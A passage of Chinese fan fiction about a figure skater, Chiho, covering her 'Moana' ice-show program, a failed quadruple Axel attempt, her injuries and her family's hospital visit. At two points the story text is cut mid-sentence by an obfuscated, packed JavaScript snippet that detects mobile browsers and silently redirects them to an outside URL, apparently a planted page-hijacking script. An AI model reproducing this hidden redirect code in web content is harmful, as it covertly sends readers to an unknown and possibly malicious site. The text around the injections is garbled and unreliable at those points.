)”形状的轨迹。两次用刃的深度完全一致,折返点精确地卡在弦乐换弓的那个呼吸间隙里——那是莫阿娜在海上遇到风暴时、被浪头压下去又浮上来的瞬间。 然后是乔克塔。从右前外刃换到左后内刃,身体重心在瞬间完成转移,滑行方向从向前骤转为向后,却没有丝毫滞涩。她的上半身纹丝不动,只有腰胯以下的部分在完成这次换足,流苏裙在重力的作用下自然垂落,最深的那层棕色恍然闪过。 内刃鲍步在这时切入。她的身体向后弯成一道弧线,双手向两侧展开,掌心朝下,左腿向前延伸,右膝微屈,整个人呈一座拱桥的形状横贯冰场。冰刀在冰面上划出的那道弧线深而长,从这端一直延伸到那端,像海平线本身。这个动作持续了整整四拍,弦乐在她身后追逐,但追不上。 刀齿步在鲍步的尾声中切入。一串极快的小碎步,冰刀前端的刀齿在冰面上敲出细密的节奏点。她的上半身纹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17399750|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝不动,只有脚下的冰刀在飞速点冰,像船驶入浅滩时、船底擦过珊瑚礁的那种细碎震颤。每一下刀齿点冰都精准地卡在弦乐的十六分音符上,密集得让人几乎以为她要起飞——但她没有。她的重心始终压得很低,膝盖的屈伸幅度小到几乎看不出来,只有流苏裙最浅的那一层金色在微微颤动,像浪尖上被风吹散的泡沫。 接续步的最后一个动作是大一字步。身体侧向打开,双腿分开呈一条直线横贯冰面,左刃右刃同时切入,两道弧线平行着向前延伸。她从冰场的一端滑到另一端,冰刀在冰面上划出两条笔直的、平行的线。 那是船划过海面时留下的尾迹——两道,平行的,一直延伸到看不见的地方。 2A——两周半跳,放在接续步之后,作为进入后半段的过渡。起跳前没有减速,直接从大一字步切入,左前外刃,腾空,两圈半,落冰。 一如既往地完美。 观众席有人喊了一声,声音不大,但千穗听见了。她嘴角弯了一下,很淡,转瞬即逝。 音乐进入后半段。弦乐退下去,鼓声浮上来,一下一下,沉稳有力,像心跳,像船桨划开水面的节奏。 3Lz+3T。这是节目里唯一的连跳。起跳前是最基础的步法铺垫——转三,莫霍克,再转三,三次换足,三次变刃,最后一圈转完的瞬间,她蹬冰起跳。左后外刃切入,点冰,腾空——三圈转完落冰的瞬间几乎没有停顿,立刻接3T。 两个跳跃之间紧密得如同一个跳跃。落冰时冰刀切进冰面的声音清脆得像敲在鼓点上,溅起的冰屑在灯光下碎成无数细小的光点,像船头撞碎的浪花。 鼓声还在继续,千穗的滑行速度反而慢下来。不是累了,是在等待音乐积蓄。 燕式巡场从这里开始。她的身体向后弯成一道弧线,双手向两侧展开,掌心朝下,指尖微微上翘。流苏裙在身后拖出一道彩色的轨迹,深棕、赭红、橙金、浅金——一层一层地铺在冰面上。 那是莫阿娜站在归航的船上、望着远处的岛屿一点点变大的瞬间。 然后鼓声停了。 安静了整整一拍。然后——最后一段旋律从最低处升起来,弦乐、人声、鼓声,所有声部同时切入,像整片海洋同时翻涌。 4S——后内结环四周跳。节目里唯一的四周跳,放在最后。 起跳前没有任何减速,直接从燕式巡场切入。左后内刃,膝盖压到极深,蹬冰——腾空。深棕色的假发被风掀起一角,流苏裙在空中完全展开,像一面被风灌满的帆。 一圈,两圈,三圈,四圈——落冰。 冰刀切进冰面的那一声,比之前所有的落冰都重。不是因为不稳,是因为她故意压深了膝盖——那个弧线比之前任何一道都长,长到她滑过半个冰场才慢慢减速。 那是船靠岸时最后那一下推桨。 音乐在这里做了剪辑。《How Far I''ll Go》的最后一句旋律重复了两遍,第二遍比第一遍轻,轻到像远处传来的回声。 千穗的滑行速度跟着慢下来,从加速到匀速,从匀速到减速。最后一段编排步法,没有复杂的技术,只是一些最简单的滑行——直线、弧线、交叉步。 像莫阿娜站在沙滩上,看着海浪涌上来又退下去。她滑过观众席前的时候,右手轻轻触了一下冰面,指尖擦过冰面的瞬间,她笑了。不是那种面对镜头的、营业式的笑,是更真实的、更私密的、像终于到达某个地方之后、回头看了一眼来路时的那种笑。 最后一个音符落下的瞬间,她停在冰场中央偏左的位置。低头,双手交叠在胸前,和开场时一模一样的姿势。追光从头顶倾泻下来,把她整个人笼在暖白色的光晕里。流苏裙不再晃动了,深棕色的假发安静地垂在肩侧。 场馆安静了大概三秒。然后掌声像潮水一样涌过来。 千穗抬起头,朝观众席挥了挥手。她的呼吸还没完全平复,胸口微微起伏着,但嘴角翘得很高。追光跟着她的动作晃了一下,照亮了观众席前排那些蓝色的应援棒。她看见了洁父洁母,看见了世一举着手工应援扇,看见了糸师夫妇,看见了凛坐得端正,表情平平的,但手里确实拿着应援扇。 目光往右移,往更远的、更暗的那一侧看台扫过去——第三排,靠过道。那里有一个人。 他戴着口罩,刘海垂在额前,手里什么也没有,只是安静地坐在位子上,望着她的方向。隔着半个场馆的距离,她看不清他的表情。但她知道他在看,他的眼睛是松石绿的,和凛一样,但给人的感觉比凛的亮一点。 千穗收回视线,朝观众席最后行一屈膝礼。流苏裙的浅金色边缘扫过冰面,像浪花退去时留在沙滩上的最后一道水痕。 42.摔伤 冰演结束后,糸师冴需要赶飞机回马德里。 洁千穗跟着家人回家,没去送他,只在网上道别了。 到第2天,千穗去大学提交自己的纸质作业后,预估他差不多到目的地了,才打开手机聊了两句。 【Chiho: 到马德里了?】 对面很快就回复了。 【Sae: 刚到】 【Chiho: 那你早点休息,时差倒一倒】 【Sae: 嗯】 【Chiho: 对了,你和凛……聊了吗?】 【Sae:赶飞机,网上聊了】 千穗有点无语。 世一都跟她吐槽过凛把他哥拉黑又加回来的操作了,网上聊真的有用吗?她持怀疑态度。 但她现在也不太想管这俩兄弟的理念与沟通问题了,反正根据剧情发展凛后面又把目标锁定在她弟弟身上,后面u20三个人还同队呢。 事情总会解决的。 【Chiho:行吧】 她于是这么回复。 比起冴的事,千穗现在还要补够大学学分、准备下一赛季的编舞,这些更重要。 …… 第一场冰演已经结束快一周了,洁千穗的热度还在持续发酵。 先是国内热搜挂了整整两天,“#千穗冰演《海洋奇缘》”这个词条在榜上待了三十一个小时。有人剪了那段流苏裙在冰面上展开的慢放,配上《How Far I’ll Go》的原声,转发量过了十万。还有人在扒她那套考斯滕的细节——深棕色的假发是哪个造型师做的,流苏裙用了什么布料,冰鞋上那几颗贝壳是真的还是仿的。 外网也热闹。莱莉转发了电影官方发的原片和冰演剪辑片段,配了一串感叹号。评论区里各国语言混在一起,有人夸技术,有人夸艺术表现力,还有人问“她什么时候来我们这儿冰演”。当然还有人感叹她居然能和迪士尼谈拢版权。 千穗扫了一眼热搜,把手机扣在桌上。 有她节目的下一场冰演在6月6日,地点埼玉超级冰场,她的老家(赤司等人由于学业工作太忙第一场看的直播,据说第二场会去现场)。 在此之前,她依旧保持日常训练。 六月初的埼玉已经热起来了。俱乐部的冰场开着恒温系统,冷气从穹顶缓缓沉下来,和冰面上升起的寒气搅在一起。千穗换好训练服,把剪了一半、已经褪成黄色的头发扎起来,踏进冰场。 孩子们已经在了。她们俱乐部的专属冰场不像比赛场馆那样有严格的时段划分,休赛期更是如此。蜻堂教练带着几个小学员在冰场另一端练习一周跳,偶尔有孩子滑得太远,快要越过那道看不见的分界线时,她就会喊一声,让他们回来。 不是比赛的话,千穗更喜欢这样看着人在另一端滑冰,尤其是孩子们,让她觉得整个冰场很有生机。 她先做了几组基础滑行热身。交叉步、转三、莫霍克,冰刀切过冰面的声音沙沙的,和孩子们的欢笑声混在一起。然后是跳跃——先跳了几个二周找感觉,起跳高度控制得刚刚好,落冰稳得像钉在冰面上。 北野宁宁站在挡板边,举着手机帮她录像。这是千穗的习惯,休赛期的日常训练也会留档,方便她自己复盘——虽然可以让白鸦帮她录,但那样有点诡异,相当于凭空出现一段录像,还是现实里找人比较保险。 后面开始练阿克塞尔跳了。 一个2A,又一个2A,再一个2A。 千穗滑了一圈回来,停在挡板边喝水。冰场另一端,有个小女孩刚跳成一个1A,兴奋地朝蜻堂教练挥手。千穗看了一眼,嘴角弯了一下。她拧上水瓶盖,重新滑回冰场中央。 下一个应该是3A了。 但她没跳。她在冰场中央站了几秒,冰刀下的冰面安静地反射着灯光。她在心里叫了一声白鸦。 【怎么了?】 千穗没有立刻回答。她低头看着冰面上自己模糊的倒影,训练服的领口被汗水洇湿了一点,贴在锁骨上。她想起世锦赛结束后的那个晚上,躺在床上翻来覆去睡不着,脑子里一遍一遍放着自己的节目。五个四周,五种起跳方式,全部clean。她做到了一切能做的,可她还是觉得不够。 [我想试一下4A。] 白鸦沉默了。千穗能感觉到它的沉默,那种数据流在后台飞速运转、计算、评估的沉默。过了几秒,它开口了。 【你的身体数值已经到极限了。骨骼、肌肉、韧带,目前的状态支撑4A的成功率,梦境空间里仅为3%~5%,现实只会更低。】 千穗当然知道。白鸦的数据系统从来不会骗她,她也知道自己现在的身体状态,顶级运动员的数据再加某些方面达到花滑运动员的顶点,但并不代表她可以越过人体的物理规则。4A是四周半跳,比普通四周跳多半圈,起跳的初速度要求更高,腾空的滞空时间更长,落冰时脚踝承受的冲击力更大。现时间段的男单都还没人在正式比赛里跳出来过,她一个女单,在休赛期的日常训练里,成功率不到百分之五—— 【千穗,至少要用吊杆】白鸦的声音听起来和平常不太一样。 千穗深吸了一口气。冰场的冷气灌进肺里,凉丝丝的,和冰面升起的寒气搅在一起。 她说,我也想试一下,痛过后就知道了。 白鸦没有再说话。它没再阻止她,大概也知道阻止不了——最好的办法是让她摔过后死心。她自己大概也是这么想的,所以都没考虑吊杆。 千穗握了握拳,松开。 她滑了出去。 北野宁宁还站在挡板边举着手机,以为下一个是3A。蜻堂教练在冰场另一端,正弯腰帮一个小孩系冰鞋。小学员们三三两两地散在冰上,谁也没有注意到,冰场这一端,有个人正在加速。 千穗的滑行速度比平时快。不是比赛时那种被音乐推着走的、有节制的快,是更野的、更不管不顾的快。冰刀切过冰面的声音从沙沙变成唰唰,冰屑从刀齿下飞溅出来,碎成细小的光点。她用整片冰场来加速,从这端到那端,从对角到对角,速度越来越快,快到训练服的衣摆被风灌满,鼓成一面小小的帆。 左前外刃切入冰面。膝盖压到前所未有的深度,整个身体的重心都压在那一条刃上。摆臂,蹬冰—— 她把自己抛向空中。 腾空的瞬间,她感觉到一切都不对、和梦境空间仅有一次的、系统操作下成功的感受不一样。 起跳的角度偏了,膝盖蓄力的方向偏了,身体重心的轴线偏了,所有的一切都偏了。白鸦说得对,她的身体数值确实到极限了。高度或许够了,但速度不对,轴心从一开始就是歪的。 但她还是转足了圈数。一圈,两圈,三圈,四圈,四圈半——在空中完成四周半的转速时,她已经知道自己落不了冰了。身体下落的速度比平时快,冰面在视野里迅速放大,右脚探出去想接落冰,脚踝大概率承受不住,强行落地的话—— 扭伤都是最轻的。 她在落冰前最后零点几秒拼命把身体侧过去。右肩先着地,然后是腰、是大腿、是脚踝。冰面硬得像石头,撞击的闷响被冰层吞掉大半,剩下的那一点混在冰刀刮擦冰面的刺啦声里,尖锐得像什么东西断裂了。 千穗趴在冰面上,眼前一片白。不是冰面的白,是脑子里炸开的那种白,像电视信号中断时的雪花屏,密密麻麻,嗡嗡作响。她试着撑起身体,右手使不上力,肩膀传来一阵钝痛,像被人拿锤子敲了一下。腰也是,动一下就酸得厉害,大腿外侧火辣辣的,大概是蹭破了皮。 脚踝——脚踝还好。她试着勾了一下脚尖,疼,但是能动的疼,不是那种骨头错位的疼。 “千穗!”蜻堂教练的声音从很远的地方传来,带着冰刀急促切冰的声音。千穗趴着没动,脑子里那阵白慢慢退下去,退成灰的,退成暗的,最后变成黑的。耳边嗡嗡的,像有只蜜蜂在飞,又像海浪,很远很远的、拍在沙滩上的那种海浪。 蜻堂教练第一个滑到她身边,跪在冰面上,手悬在她背上,不敢碰。“千穗?千穗!能听见吗?” 千穗想说我听见了,嘴巴张了一下,声音没出来。她眨了眨眼,冰面上的灯光晃了一下,刺得眼眶发酸。蜻堂教练的脸从上面探下来,平时总是笑眯眯的,现在绷得很紧。 “哪里疼?能说话吗?” “……嗯。”千穗从喉咙里挤出一个音,沙沙的,像冰刀切过粗冰。她试着动了动手指,“……肩膀……腰……腿。脚踝……还好。” 蜻堂教练的表情没有放松。她转头朝挡板那边喊了一声“担架”,声音不大,但很急。北野宁宁已经不在挡板边了——她在千穗摔倒的瞬间就扔下手机跑了出去。冰场另一端的小学员们全都停了动作,站在远处不敢靠近,有几个年纪小的被吓到了,缩在教练身后,眼睛瞪得圆圆的。 千穗趴在冰面上,脸贴着冰。凉的。熟悉的、永远都是这个温度的凉。她忽然想笑,嘴角动了一下,扯到脸上的擦伤,刺刺的疼。她就不笑了。 担架来得很快。俱乐部的医护人员训练有素,大概是平时应急演练做得够多。有人扶住她的头颈,有人在问她名字、问她在哪、问她今天几月几号。千穗一一回答,声音很轻,但每个字都是清楚的。他们把她翻过来的时候,右肩撞了一下担架边缘,她没忍住“嘶”了一声。蜻堂教练的手立刻按在她左肩上,轻轻的。 “别动。忍一下。” 千穗就不动了。她躺在担架上,看着冰场的穹顶。灯光太亮,照得她眯起眼睛。北野宁宁的脸出现在视野里,眼眶红红的,但手很稳,帮医护人员固定担架的边角。 “我没事。”千穗说。声音比她预想的小,被冰场的冷气吞掉大半。 北野宁宁没理她。 医院离俱乐部不远,开车十分钟。千穗被推进检查室的时候,脑子里那阵嗡嗡声已经退得差不多了,取而代之的是右肩传来的钝痛和腰背的酸胀。她躺在检查床上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17402211|199124||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盯着天花板,医生按她肩膀的时候她咬了一下牙,按腰的时候她没忍住哼了一声,按脚踝的时候——她甚至没感觉到医生在按。 “这里疼吗?” “……不疼。” “这里呢?” “……一点点。” 医生松开手,在病历本上写了几行字。千穗歪着头看,没看懂那些龙飞凤舞的片假名。白鸦在她脑子里报检查结果,声音比平时轻。 【右肩软组织挫伤,腰背部肌肉拉伤,大腿外侧挫伤,左脚踝I度扭伤。还有——轻度脑震荡。】 最后那四个字说得特别慢。千穗愣了一下。脑震荡?她刚才撞到头了吗?她想了想,想起来——摔倒的时候右肩先着地,然后是腰和大腿,最后是脚踝。头没撞到冰面。 【冲击力传导。大脑撞到头骨内壁,不需要直接撞击。】 白鸦的解释干巴巴的,像在念教科书。但千穗听得出那底下的东西——如果她当时没有把身体侧过去,如果她强行用右脚落冰,现在躺在检查室里的就不是轻度脑震荡和几处挫伤拉伤,而是脚踝骨折,或者膝盖韧带断裂。 她闭上眼睛。检查室的灯光透过眼皮,红彤彤的一片。 【还想尝试吗?】白鸦问。 “……不会。”她说,声音很轻。 【你保证?】 “嗯。”千穗睁开眼睛,盯着天花板,“我不会再试了。”至少今天后的很长一段时间都不会。 白鸦沉默了很久。 【嗯。】 北野宁宁推门进来的时候,千穗已经从检查床上坐起来了。右肩缠了弹力绷带,腰上也贴了肌贴,左脚踝裹着冰袋,正往小腿淌水。她看起来有点狼狈,训练服没换,右肩的位置剪开了一个口子,露出底下白色的绷带。头发也散了,褪成黄色的碎发贴在额角,被汗打湿了。 北野宁宁站在门口,看着她。两个人都没说话。 “……拍到了。”北野宁宁先开口,声音有点哑,“你摔的那一下,手机对着冰面,声音很清楚。” 千穗想象了一下那个画面。手机摔在冰面上,镜头朝下,录了一段黑漆漆的、只有声音的录像。冰刀刮冰面的刺啦声,身体砸在冰面上的闷响,蜻堂教练的喊声,还有她自己——趴在那里,半天没出声。她忽然觉得有点对不住北野宁宁。跟了她四年,从青年组到奥运冠军,什么大场面没见过,结果在休赛期的日常训练里被她吓得眼眶发红。 “我没事。”千穗又说了一遍。 北野宁宁终于动了。她走过来,在床边坐下,伸手把千穗额角那缕碎发别到耳后。动作很轻,像对小孩。 “医生说要休养。至少四周不能上冰,六周后才能恢复跳跃训练。” 千穗点点头。 “网上已经传开了。”北野宁宁说,“你摔倒的时候冰场里有家长拍了照,发到SNS上——虽然已经沟通过让对方删除了,但转载保存很多,现在热搜还挂着呢。” 千穗沉默了一下。“怎么说?” “说你训练时受伤,被担架抬出去的。俱乐部发了公告,说正在医院检查,详细情况稍后公布。”北野宁宁顿了顿,“你的手机响了一路了。” 千穗这才想起来,她的手机还在北野宁宁那里。北野宁宁从口袋里掏出来递给她,屏幕亮着,消息列表里躺着几百条未读。她没点开,只是握着手机,屏幕的光映在她脸上,把那些擦伤的痕迹照得更清楚了。 北野宁宁站起身,“我去办手续。你先别乱动。” 门关上了。 检查室安静下来,只有空调运转的嗡嗡声。千穗低头看着手机屏幕,那些未读消息的推送一条一条地弹出来——世一的,父母的,糸师兄弟的,莱莉的,勇利维克托的,尤里的,雅科夫的,夜鹰纯和鴗鸟慎一郎的,迹部赤司这些朋友们的,甚至还有国外认识的几个运动员,很多很多人。 她一条都没点开。手机屏幕暗下去,又亮起来。又暗下去,又亮起来。她握着手机,感觉到电池微微发烫,掌心被灼出一个浅浅的红印。 她把手机翻过去扣在膝盖上。 窗外,天空灰蒙蒙的,云压得很低,似乎要下雨了。 千穗坐在检查室的床上,右肩缠着绷带,腰上贴着肌贴,左脚踝裹着冰袋。她低头看着自己那只受伤的脚——踝骨周围已经肿起来一圈,皮肤被冰袋冰得发白,脚趾蜷着,不敢乱动。她试着勾了一下脚尖,疼,但是能动的疼,不是骨头错位的那种疼。冰袋边缘在往下淌水,一滴一滴,落在检查床的白色床单上,洇出深色的印子。 她盯着那几滴水渍,又看向右脚,想起刚才在冰场上、在落冰前,自己拼命把身体侧了过去,最后右脚没事,倒是左脚踝因为姿势问题被动扭转、拧到了。 还好,系统数据上她的韧带没事。 冰袋又化了一点,水顺着脚踝滑到脚跟,凉丝丝的。千穗把脚往里缩了缩,牵扯到扭伤的地方,又麻又胀。她咬了一下牙,没出声。 43.八周 检查室的灯光是冷白色的,照得整个房间都有些发蓝。空调的出风口在天花板的正中央,白色的栅格叶片微微颤动,冷气从那里溢出来,和窗外的热风在玻璃上撞出一层薄雾。洁千穗盯着那个出风口看了很久,久到眼睛开始发酸,才眨了一下。 手机放在膝盖上响个不停。震动的时候,她的膝盖跟着抖了一下,牵扯到腰上的拉伤,酸胀的感觉从脊椎蔓延到肋骨。 她回过神,拿起来一看,整整38个未接来电。 ——又一个电话跳出来。 她眨了眨眼,低头盯着屏幕。 “小草”的昵称在来电界面上跳动着,底下是那张她给弟弟拍的照片——站在球场边,手里捧着足球,眼睛笑得眯成一条缝。那是去年春天拍的,下巴比今年还圆一点,看起来像个小孩子。 她犹豫了一下,还是按了接听。 “姐姐!”世一的声音从听筒里炸开,比她预想的要大得多,在安静的检查室里震得她耳朵发疼。她下意识把手机拿远了一点,但还是听见了那声音底下的颤抖——不是愤怒,是害怕。 “我没事。”她说。这三个字她今天已经说了很多遍,对蜻堂教练说,对北野宁宁说,对医生说,现在又对家人说。每一遍都比上一遍更轻,好像说得轻一点,事情就会显得不那么严重。 “什么叫没事!”世一的声音又高了半度,背景里有杂音——车门关上的闷响,安全带扣合的咔哒声,母亲在说“你让他先说话”。千穗听出来了,他们已经在路上了,大概是刚上车不久,车窗外的风声透过听筒灌进来,呼呼的,像冬天的海。 “右肩挫伤,腰也拉伤了,左脚扭了一下,还有一点脑震荡。”她把医生说的话复述了一遍,声音很平,像是在念一份与自己无关的报告单,“没有骨折,没有韧带断裂,什么都不影响。养几周就好了。” 听筒那边安静了一下。她听见母亲吸气的声音,很轻,像是怕被她听见,又像是忍了很久终于没忍住。然后是父亲的声音,比平时低,问她现在在哪里,说他们正在过来的路上,让她不要乱动。千穗说好,又问他们坐什么车,母亲说计程车,声音有点哑,但已经稳下来了。 世一又在说话了,这次声音小了很多,像是在自言自语,又像是在问她。他说你怎么会摔,说你在训练的时候从来没摔这惨,说你连比赛都没摔的,说你是不是又试什么新动作了。千穗没有回答。她只是靠在枕头上,听他说,偶尔应一声“嗯”。 电话挂断的时候,她的手机屏幕显示通话时间十一分钟。她看着那个数字,忽然觉得有点累。不是身体上的累——虽然身体确实很累——是那种把同一件事跟不同的人解释很多遍之后,从骨头缝里渗出来的倦意。 她把手机放下,又拿起来。未接来电的数字还在增加。她往下翻,看见世一的名字出现了很多次,父母的也是,凛的有三个,冴的和一堆跨国电话挤在一起,还有一个她不认识的号码,大概是从什么渠道弄到她手机号的记者。她退出通话记录,点开消息列表。世一发了很多条,从最初的“姐姐你怎么样了”到后来的“我们在路上了别担心”,中间夹杂着几条语音,她没点开。父母的也是,文字简短短,大概是母亲打的字,父亲在旁边看着。凛的消息只有一条,写着“千穗姐,还好吗”,发送时间是半小时前。她回了一句“没事,别担心”,然后退出对话框。 她又想了想,最后统一给其他人回复了自己没事,没有骨折也没有韧带损伤等最影响运动员的伤势——冴的、尤里他们的也一样。 然后把手机翻过去扣回膝盖,屏幕的光从背面漏出来一点,在床单上投下一个浅浅的方块。 . 北野宁宁推门进来的时候,千穗正盯着天花板发呆。检查室的门是那种医院常见的推拉门,推开的时候会有一声很轻的“咔嗒”,然后才是轮子滚过轨道的声音。北野宁宁显然不想吓到她,推得很慢,但千穗还是听见了——她转过头,看见北野宁宁手里拿着一沓单子,白色的,A4大小,边角被她的手指捏得有点皱。 “报告出来了。”北野宁宁走过来,把单子递给她。 千穗接过来。纸是凉的,大概是刚从打印机上拿下来不久,边缘还有点烫手。她低头看第一页。 “右肩关节周围软组织挫伤。”她念出声,声音很小,像是说给自己听的。然后是“腰背部轻度肌肉挫伤”,“左大腿外侧表皮擦伤、皮下淤血”,“左踝关节Ⅰ度扭伤”,还有“轻型脑震荡”。 “无意识障碍,”她继续念,声音比刚才更轻了,“无逆行性遗忘,无颅内异常。”她翻到第二页,影像学检查结果那一栏写着“未见骨折、脱位、韧带断裂及颅内出血等严重损伤”。她盯着那行字,忽然觉得喉咙有点紧,那种不适应的、后怕的、像吞了一块没化开的糖的感觉,让她意识自己确实太久没受伤了。 白鸦默默把更数字化的数据展示给她看,还标注了恢复速度。 “可以放心了吧,没事。”但她还是这么说。 并拿着手机给诊断报告拍了一张,统一发给所有人。 北野宁宁在她旁边坐下,床垫微微凹陷了一点。“轮椅我已经借好了,”她说,“在门口。等你家人到了,就可以出院回家静养了。” 千穗点点头,低头继续看着那些单子,又翻到第三页。治疗与休养意见那一栏写得密密麻麻,医生的字迹不算潦草,但有些专业术语她看不太懂。她只挑能看懂的部分看——“局部冰敷、加压固定、消炎镇痛”,“静养,避免头部震动与剧烈活动”,“禁止高强度训练、跳跃、旋转及对抗性运动”。她盯着“禁止”那两个字,想起自己在冰场上摔倒的那个瞬间——右肩先着地,然后是腰和大腿,最后是脚踝。如果当时没有把身体侧过去,如果强行用右脚落冰,现在这张报告单上写的就不是“挫伤”和“扭伤”,而是“骨折”或者“韧带断裂”。 她把那张纸翻过去,不想再看了。 “四周后才能上冰滑行,”她说,声音很平,“预计六周恢复跳跃旋转等高强度动作、八周完全恢复正常竞技训练。” 北野宁宁没有接话。千穗知道她在听,但她没有接话,只是坐在旁边,安静地等着。 窗外传来汽车鸣笛的声音,很远,被玻璃和窗帘隔了一道,听起来闷闷的。千穗转头看向窗外。天还是灰的,云压得很低,像是要下雨,又像是雨已经下过了,只是还没来得及放晴。 “宁宁姐,”她忽然开口,“那个视频,还在吗?” 北野宁宁愣了一下。“什么视频?” “我摔倒的那个。”千穗说,“你说录到了声音。” 北野宁宁沉默了一下。她从口袋里掏出手机,翻了几下,递过来。屏幕上是那段录像的缩略图,画面一片漆黑,只有中间一个小小的播放键图标。千穗接过来,没有点开。她看着那个黑漆漆的方块,想起自己趴在冰面上的样子——脸贴着冰,右肩动不了,脑子里一片白,耳边嗡嗡响。她忽然觉得有点好笑,嘴角动了一下,扯到脸上的擦伤,刺刺的疼。 “删了吧。”她说,把手机递回去。 北野宁宁看了她一眼,没有问为什么。她接过手机,手指在屏幕上点了一下,然后把手机收进口袋。 “还有,”千穗说,“那些照片。网上那些。” “已经在处理了。”北野宁宁说,“俱乐部发了公告,说你在训练中轻微受伤,正在医院检查,没有大碍。详细情况等确认后再公布。” 千穗点点头,然后闭着眼睛,克制住一阵阵涌上来的头晕呕吐之感。 房间又安静下来了。 空调还在嗡嗡地转,冷气从出风口溢出来,把房间吹得有点凉。千穗把被子往上拉了拉,那只裹着冰袋的脚依旧露着。冰袋已经化了大半,边缘的水珠顺着脚踝滑到床单上,洇出一小片深色的印子。她把脚往里缩了缩,牵扯到扭伤的地方,又麻又胀。 “宁宁姐,”她忽然说,“你说我是不是太固执了。” 北野宁宁没有立刻回答。她坐在床边,手里还拿着那沓单子,指节微微发白。过了几秒,她开口了,声音比平时轻。“你是奥运冠军,”她说,“全满贯。你不需要证明什么了。” 千穗没有说话。她低头看着自己那只受伤的脚,脚踝肿了一圈,皮肤已经被冰袋冰得发白,脚趾蜷着,不敢乱动。她又试着勾了一下脚尖,确认了这种疼痛。 “我知道。”她说。声音很小,像是说给自己听的。 走廊里传来脚步声,很多人的,急促的,越来越近。然后是推拉门被拉开的声音,比北野宁宁刚才推门的时候响得多,“咔嗒”一声,轮子滚过轨道,门被推到最边上,撞到墙上的缓冲垫,发出一声闷响。 “姐姐!” 世一第一个冲进来。他穿着校服,书包还背在肩上,大概是直接从学校赶过来的。他的脸有点红,不知道是跑的还是在外面晒的,眼睛瞪得很大,在看见千穗的那一瞬间亮了一下,然后立刻暗下去——他看见了她右肩上的绷带,腰上的肌贴,还有那只裹着冰袋的脚。 他站在门口,不动了。 千穗朝他笑了一下。“不是说了没事吗。” 世一没有笑。他走过来,在床边蹲下,抬头看着她。那个角度让千穗想起他小时候——每次摔跤了、被别的小朋友惹哭了、考试没考好了,都是这样蹲在她面前,抬头看着她,等她说“没事的”。现在轮到她说这句话了,她却觉得比想象中难。 “真的没事。”她又说了一遍。 世一盯着她看了几秒,然后低下头,深吸一口气,把脸埋进床单里。他的肩膀抖了一下,很轻,但千穗看见了。她伸出手,想揉他的脑袋,但右肩抬不起来,左手伸过去的时候又不太够得着,只好把手搭在他的后脑勺上,指尖碰到他的头发,有点扎手。 “可别哭了啊。”她说。 “……才没哭。”世一的声音闷在床单里,瓮瓮的,但不算特别严重。 千穗没有再说话。她的手还搭在他头上,没有收回来。 洁父洁母是跟在世一后面进来的。洁母的步子很快,但走到床边的时候就慢下来了,像是在门口已经把最急的那股劲用完了。她站在床边,低头看着千穗,眼眶红红的,但嘴角努力笑着,似乎不想让千穗更难受。 “疼不疼?”她问。 “不疼了。”千穗说。 洁母没有追问。她坐下来,伸手把千穗额角那缕碎发别到耳后,动作很轻,和北野宁宁刚才做的一模一样。千穗忽然觉得鼻子有点酸。 洁父站在后面,没有挤到前面来。他看了一眼千穗肩膀上的绷带,又看了一眼她脚上的冰袋,最后把目光落在床头柜上那沓诊断报告上。他拿起来看,一页一页地翻,看得很慢。翻到最后一页的时候,他抬起头,看着千穗。 “八周?”他问。 千穗点点头。“八周。” 洁父把报告放回去,走过来,站在洁母旁边。他没有说话,只是把手搭在千穗没受伤的那边肩膀上,轻轻按了一下。 …… 出院确认手续是父亲去办的。 母亲陪在床边,手里拎着北野送过来的千穗的包。她还打开检查了一遍,每一样都拿在手里看一会儿,像是要确认这些东西没有跟着女儿一起摔坏。 千穗坐在床边,左脚搭在轮椅的脚踏上,冰袋已经撤了,换上了弹力绷带,从脚踝一直缠到小腿中段。医院给的拖鞋太大,她穿不进去,母亲就把自己带着的丝巾解下来包住她那只脚,再用橡皮筋箍住。 “妈,不用——” “别说话。”洁母头也没抬,手指把丝巾的边角塞进绷带里,压平,再箍上橡皮筋。她做这些的时候手很稳,和千穗印象里那个在喜欢缝缝补补、偶尔被针扎到指尖的母亲一模一样。 千穗就不说话了。 父亲办完手续回来,手里拿着一个白色的纸袋,里面是医生开的药——消炎的、止痛的、贴的、吃的,还有一小瓶漱口水,是给脑震荡患者用的,怕她恶心的时候嘴里发苦。他把纸袋递给一起进来的北野宁宁,然后弯腰把轮椅推到床边。 “走吧。” 千穗看着那把轮椅。她这辈子从来没坐过轮椅,在冰场上摔得多惨都没有,今天倒是坐上了。灰色的、折叠的、靠背上印着医院名字的轮椅——她生出一种久违的、来自上辈子的熟悉感。 千穗深吸一口气,手撑着床沿站起来。右肩使不上力,腰也酸,但左腿还能用。她试着迈了一步,脚踝上的绷带勒紧了一点,疼,但是能忍。 “千穗。”母亲的声音。 “我自己走。”千穗说。 她没有看母亲的表情。她只是扶着床沿,一步一步走到轮椅前面,转身,坐下。动作比她预想的慢,也比她预想的笨拙,但她是自己走过去的。 北野宁宁推着轮椅往外走,轮子滚过走廊的地砖,发出细碎的、有节奏的声响。母亲走在旁边,手里拎着那个装东西的袋子,父亲走在后面,和北野宁宁说着什么——大概是后续的复查安排、康复计划、俱乐部的保险理赔。世一走在最后面,书包还背在肩上,脚步很轻。 